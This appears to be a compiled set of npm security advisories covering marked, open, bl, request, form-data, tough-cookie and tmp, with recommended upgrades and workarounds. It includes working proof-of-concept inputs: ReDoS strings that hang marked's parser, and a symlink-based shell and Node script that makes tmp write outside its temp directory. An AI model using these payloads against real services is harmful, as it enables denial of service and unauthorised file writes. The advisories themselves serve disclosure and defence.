Version Details and Security Vulnerabilities

Versions of marked from 0.3.14 until 0.6.2 are vulnerable to Regular Expression Denial of Service. Email addresses may be evaluated in quadratic time, allowing attackers to potentially crash the node process due to resource exhaustion.

Recommendation

Upgrade to version 0.6.2 or later.

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression inline.reflinkSearch may cause catastrophic backtracking against some strings. PoC is the following.

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

• https://marked.js.org/using_advanced#workers
• https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

For more information

If you have any questions or comments about this advisory:

• Open an issue in marked

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression block.def may cause catastrophic backtracking against some strings. PoC is the following.

import * as marked from "marked";

marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

• https://marked.js.org/using_advanced#workers
• https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

For more information

If you have any questions or comments about this advisory:

• Open an issue in marked

Versions of open before 6.0.0 are vulnerable to command injection when unsanitized user input is passed in.

The package does come with the following warning in the readme:

The same care should be taken when calling open as if you were calling child_process.exec directly. If it is an executable it will run in a new shell.

Recommendation

open is now the deprecated opn package. Upgrading to the latest version is likely have unwanted effects since it now has a very different API but will prevent this vulnerability.

Versions of bl before 0.9.5 and 1.0.1 are vulnerable to memory exposure.

bl.append(number) in the affected bl versions passes a number to Buffer constructor, appending a chunk of uninitialized memory

Recommendation

Update to version 0.9.5, 1.0.1 or later.

A buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink